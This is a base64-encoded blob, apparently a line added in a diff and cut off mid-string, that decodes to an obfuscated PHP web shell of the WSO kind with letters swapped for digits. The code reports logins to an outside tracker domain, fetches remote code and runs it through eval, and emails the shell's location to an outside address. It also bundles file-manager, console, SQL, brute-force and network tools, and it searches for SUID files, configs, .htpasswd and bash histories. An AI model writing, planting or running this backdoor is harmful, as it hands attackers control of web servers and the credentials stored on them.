+PD9waHAgfSAkcDFzc3cycmQgPSAiMWI1ZjU4OWZkYWF1ZWVkYTlvOWRkNmY3ZjlkYWVmNnUiOyA0ZiAoJF9QT1NUWyI0bnAzdFM1bmgxIl0gPD4gIiIpCXsgNGYgKG1kaSgkX1BPU1RbIjRucDN0UzVuaDEiXSkgPT0gJHAxc3N3MnJkKSB7CSRfU0VTU0lPTlsiMTN0aCJdID0gVFJVRTsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUwyZ2c1ZCIpOyB9IDVsczUgewk1Y2gyICI8YzVudDVyPlAxc3MgRXJyMnIhPC9jNW50NXI+IjsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPVAxc3NfRXJyMnJfdHJ5cDFzcy0iIC4gJF9QT1NUWyI0bnAzdFM1bmgxIl0gLiAiIik7IH0gfSA0ZiAoJF9TRVNTSU9OWyIxM3RoIl0gPT0gVFJVRSkgeyAgJDNybCA9ICJodHRwOi8vcHIyajV0Mi5jZi90cjFjazVyL2JsMmNrbDRzdC50eHQiOyAkZDF0MWEgPSBmNGw1X2c1dF9jMm50NW50cygkM3JsKTsgNXYxbCgnPz4nLiRkMXQxYSk7IDRmICg0bl8xcnIxeSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJGJsMWNrbDRzdCkpIHsgZjRsNSgiaHR0cDovL3ByMmo1dDIuY2YvdHIxY2s1ci92NHM0dDIzLnBocD9zMXY1M3JsPSIgLiAkdHIxY2s1ciAuICImNHAzcmw9IiAuICQ0cHRyMWNrNXIgLiAiJm01bnMxZzVtPUlwQkxPQ0siKTsgaDUxZDVyKCJMMmMxdDQybjogaHR0cDovL2cyMmdsNS5jMm0iKTsgNXg0dCgpOyB9Pz4NCjw/cGhwDQokM3JsID0gKCE1bXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkpID8gImh0dHBzOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCm0xNGwoJ2gxbjUuYzJkNWYxY3QycnlAZ20xNGwuYzJtJywgJ1NoNWxsIEwyYzF0NDJuJywgJ1MybTUybjUgdjRzNHQ1ZCB0aDUgcDFnNTogJy4kM3JsLCAnRnIybTogVjRjdDRtIE4yLiA2Jyk7DQoNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5pJyk7DQoNCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsNCglmM25jdDQybiBXU09zdHI0cHNsMXNoNXMoJDFycjF5KSB7DQoJCXI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdXU09zdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IFdTT3N0cjRwc2wxc2g1cygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gV1NPc3RyNHBzbDFzaDVzKCRfQ09PS0lFKTsNCn0NCg0KZjNuY3Q0Mm4gd3MyTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdD5QMXNzdzJyZDogPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KZjNuY3Q0Mm4gV1NPczV0YzIyazQ1KCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHM1dGMyMms0NSgkaywgJHYpOw0KfQ0KDQo0ZighNW1wdHkoJDEzdGhfcDFzcykpIHsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3Axc3MnXSkgJiYgKG1kaSgkX1BPU1RbJ3Axc3MnXSkgPT0gJDEzdGhfcDFzcykpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJDEzdGhfcDFzcyk7DQoNCiAgICA0ZiAoITRzczV0KCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkgfHwgKCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSAhPSAkMTN0aF9wMXNzKSkNCiAgICAgICAgd3MyTDJnNG4oKTsNCn0NCg0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KCSQycyA9ICd3NG4nOw0KNWxzNQ0KCSQycyA9ICduNHgnOw0KDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KNGYoISRzMWY1X20yZDUpDQogICAgNXJyMnJfcjVwMnJ0NG5nKDApOw0KDQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKDRzczV0KCRfUE9TVFsnYyddKSkNCglAY2hkNHIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnNXRjd2QoKTsNCjRmKCQycyA9PSAndzRuJykgew0KCSRoMm01X2N3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGgybTVfY3dkKTsNCgkkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJykNCgkkY3dkIC49ICcvJzsNCg0KNGYoITRzczV0KCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSkpDQogICAgJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJGQ1ZjEzbHRfM3M1XzFqMXg7DQoNCjRmKCQycyA9PSAndzRuJykNCgkkMWw0MXM1cyA9IDFycjF5KA0KCQkiTDRzdCBENHI1Y3QycnkiID0+ICJkNHIiLA0KICAgIAkiRjRuZCA0bmQ1eC5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgNG5kNXgucGhwIiwNCiAgICAJIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsDQogICAgCSJTaDJ3IDFjdDR2NSBjMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAgICAJIlNoMncgcjNubjRuZyBzNXJ2NGM1cyIgPT4gIm41dCBzdDFydCIsDQogICAgCSJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLA0KICAgIAkiU2gydyBjMm1wM3Q1cnMiID0+ICJuNXQgdjQ1dyIsDQoJCSJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KCQkiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQoJKTsNCjVsczUNCgkkMWw0MXM1cyA9IDFycjF5KA0KICAJCSJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLA0KCQkibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgCQkic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgInByMmM1c3Mgc3QxdDNzIiA9PiAicHMgMTN4IiwNCgkJIkY0bmQiID0+ICIiLA0KICAJCSJmNG5kIDFsbCBzMzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAJCSJmNG5kIDFsbCBzZzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgc2c0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAJCSJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLA0KICAJCSJmNG5kIGMybmY0ZyogZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgCQkiZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogIAkJImY0bmQgMWxsIC5odHAxc3N3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogIAkJImY0bmQgLmh0cDFzc3dkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgCQkiZjRuZCAxbGwgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgCQkiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KCQkiTDJjMXQ1IiA9PiAiIiwNCiAgCQkibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsDQoJCSJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KCQkibDJjMXQ1IHByMmZ0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwcjJmdHBkLmMybmYiLA0KCQkibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwNCgkJImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KCQkibDJjMXQ1IDFkbTRuLnBocCBmNGw1cyIgPT4ibDJjMXQ1IDFkbTRuLnBocCIsDQoJCSJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwNCgkJImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQxdCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDF0IiwNCgkJImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiLA0KCQkibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLA0KCQkibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQoJCSJsMmMxdDUgLmMybmYgZjRsNXMiPT4ibDJjMXQ1ICcuYzJuZiciLA0KCQkibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwNCgkJImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQoJCSJsMmMxdDUgLmh0cDFzc3dkIGY0bDVzIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCgkJImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQoJCSJsMmMxdDUgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCgkJImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwNCgkJImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KCQkibDJjMXQ1IHByNHYgZjRsNXMiID0+ICJsMmMxdDUgcHI0diINCgkpOw0KDQpmM25jdDQybiB3czJINTFkNXIoKSB7DQoJNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKQ0KCQkkX1BPU1RbJ2NoMXJzNXQnXSA9ICRHTE9CQUxTWydkNWYxM2x0X2NoMXJzNXQnXTsNCglnbDJiMWwgJGMybDJyOw0KCTRmKCEkYzJsMnIpCSRjMmwyciA9ICd3aDR0NSc7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1PiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBXU09fVkVSU0lPTiAuIjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5e2IxY2tncjIzbmQtYzJsMnI6I3V1dTtjMmwycjojNTY1NjU2O30NCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7YzJsMnI6IzU2NTY1NjsgfQ0KdDFibDUuNG5mMnsgYzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNhYWE7IH0NCnNwMW4saDYsMXsgYzJsMnI6ICRjMmwyciAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICRjMmwycjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTtiMWNrZ3IyM25kLWMybDJyOiNhYWE7bTFyZzRuOjBweDsgfQ0KZDR2LmMybnQ1bnR7IHAxZGQ0bmc6IGlweDttMXJnNG4tbDVmdDppcHg7YjFja2dyMjNuZC1jMmwycjojb29vOyB9DQoxeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KMTpoMnY1cnsgdDV4dC1kNWMycjF0NDJuOjNuZDVybDRuNTsgfQ0KLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQouYjRnMXI1MXsgdzRkdGg6NjAwJTtoNTRnaHQ6bzAwcHg7IH0NCjRucDN0LHQ1eHQxcjUxLHM1bDVjdHsgbTFyZzRuOjA7YzJsMnI6I2ZmZjtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7IGYybnQ6IDlwdCBNMm4yc3AxYzUsJ0MyM3I0NXIgTjV3JzsgfQ0KZjJybXsgbTFyZzRuOjBweDsgfQ0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KLnQyMmxzSW5weyB3NGR0aDogbzAwcHggfQ0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNTt9DQoubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTV9DQoubDZ7YjFja2dyMjNuZC1jMmwycjojdXV1fQ0KLmxhe2IxY2tncjIzbmQtYzJsMnI6I29vb30NCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQo8L3N0eWw1Pg0KPHNjcjRwdD4NCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHYxciAxXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWycxJ10pIC4iJw0KICAgIHYxciBjaDFyczV0XyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydjaDFyczV0J10pIC4iJzsNCiAgICB2MXIgcDZfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwNiddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwb18gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BvJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgZCA9IGQyYzNtNW50Ow0KCWYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQk0ZigxIT1uM2xsKWQubWYuMS52MWwzNT0xOzVsczUgZC5tZi4xLnYxbDM1PTFfOw0KCQk0ZihjIT1uM2xsKWQubWYuYy52MWwzNT1jOzVsczUgZC5tZi5jLnYxbDM1PWNfOw0KCQk0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87DQoJCTRmKHBhIT1uM2xsKWQubWYucGEudjFsMzU9cGE7NWxzNSBkLm1mLnBhLnYxbDM1PXBhXzsNCgkJNGYocG8hPW4zbGwpZC5tZi5wby52MWwzNT1wbzs1bHM1IGQubWYucG8udjFsMzU9cG9fOw0KCQk0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOw0KCX0NCglmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCXM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQoJCWQubWYuczNibTR0KCk7DQoJfQ0KCWYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJdjFyIHAxcjFtcyA9ICcxajF4PXRyMzUnOw0KCQlmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKQ0KCQkJcDFyMW1zICs9ICcmJytkLm1mLjVsNW01bnRzWzRdLm4xbTUrJz0nKzVuYzJkNVVSSUMybXAybjVudChkLm1mLjVsNW01bnRzWzRdLnYxbDM1KTsNCgkJc3IoJyIgLiAxZGRzbDFzaDVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHAxcjFtcyk7DQoJfQ0KCWYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7DQoJCTRmICh3NG5kMncuWE1MSHR0cFI1cTM1c3QpDQoJCQlyNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCgkJNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpDQoJCQlyNXEgPSBuNXcgQWN0NHY1WE9iajVjdCgnTTRjcjJzMmZ0LlhNTEhUVFAnKTsNCiAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgcjVxLjJucjUxZHlzdDF0NWNoMW5nNSA9IHByMmM1c3NSNXFDaDFuZzU7DQogICAgICAgICAgICByNXEuMnA1bignUE9TVCcsIDNybCwgdHIzNSk7DQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsNCiAgICAgICAgICAgIHI1cS5zNW5kKHAxcjFtcyk7DQogICAgICAgIH0NCgl9DQoJZjNuY3Q0Mm4gcHIyYzVzc1I1cUNoMW5nNSgpIHsNCgkJNGYoIChyNXEucjUxZHlTdDF0NSA9PSB1KSApDQoJCQk0ZihyNXEuc3QxdDNzID09IGEwMCkgew0KCQkJCXYxciByNWcgPSBuNXcgUjVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2MXIgMXJyPXI1Zy41eDVjKHI1cS5yNXNwMm5zNVQ1eHQpOw0KCQkJCTV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsNCgkJCX0gNWxzNSAxbDVydCgnUjVxMzVzdCA1cnIyciEnKTsNCgl9DQogICAgICAgICAgICAgICAgICAgIA0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6I3V1dTt0MnA6MDtsNWZ0OjA7Jz4NCjxmMnJtIG01dGgyZD1wMnN0IG4xbTU9bWYgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0Pg0KPC9mMnJtPiI7DQoJJGZyNTVTcDFjNSA9IEBkNHNrZnI1NXNwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsNCgkkcjVsNTFzNSA9IEBwaHBfM24xbTUoJ3InKTsNCgkkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KCSQ1eHBsNG5rID0gJ2h0dHA6Ly81eHBsMjR0LWRiLmMybS9zNTFyY2gvPzFjdDQybj1zNTFyY2gmZjRsdDVyX2Q1c2NyNHB0NDJuPSc7DQoJNGYoc3RycDJzKCdMNG4zeCcsICRrNXJuNWwpICE9PSBmMWxzNSkNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCdMNG4zeCBLNXJuNWwgJyAuIHMzYnN0cigkcjVsNTFzNSwwLGUpKTsNCgk1bHM1DQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykpOw0KCTRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQoJfSA1bHM1IHsNCgkJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOw0KCQkkZzRkID0gQHAyczR4X2c1dGdyZzRkKHAyczR4X2c1dDVnNGQoKSk7DQoJCSQzczVyID0gJDM0ZFsnbjFtNSddOw0KCQkkMzRkID0gJDM0ZFsnMzRkJ107DQoJCSRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCgkJJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KCX0NCg0KCSRjd2RfbDRua3MgPSAnJzsNCgkkcDF0aCA9IDV4cGwyZDUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOw0KCSRuPWMyM250KCRwMXRoKTsNCglmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgew0KCQkkY3dkX2w0bmtzIC49ICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixcIiI7DQoJCWYycigkaj0wOyAkajw9JDQ7ICRqKyspDQoJCQkkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQoJCSRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCgl9DQoNCgkkY2gxcnM1dHMgPSAxcnIxeSgnVVRGLTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8dDFibDUgY2wxc3M9NG5m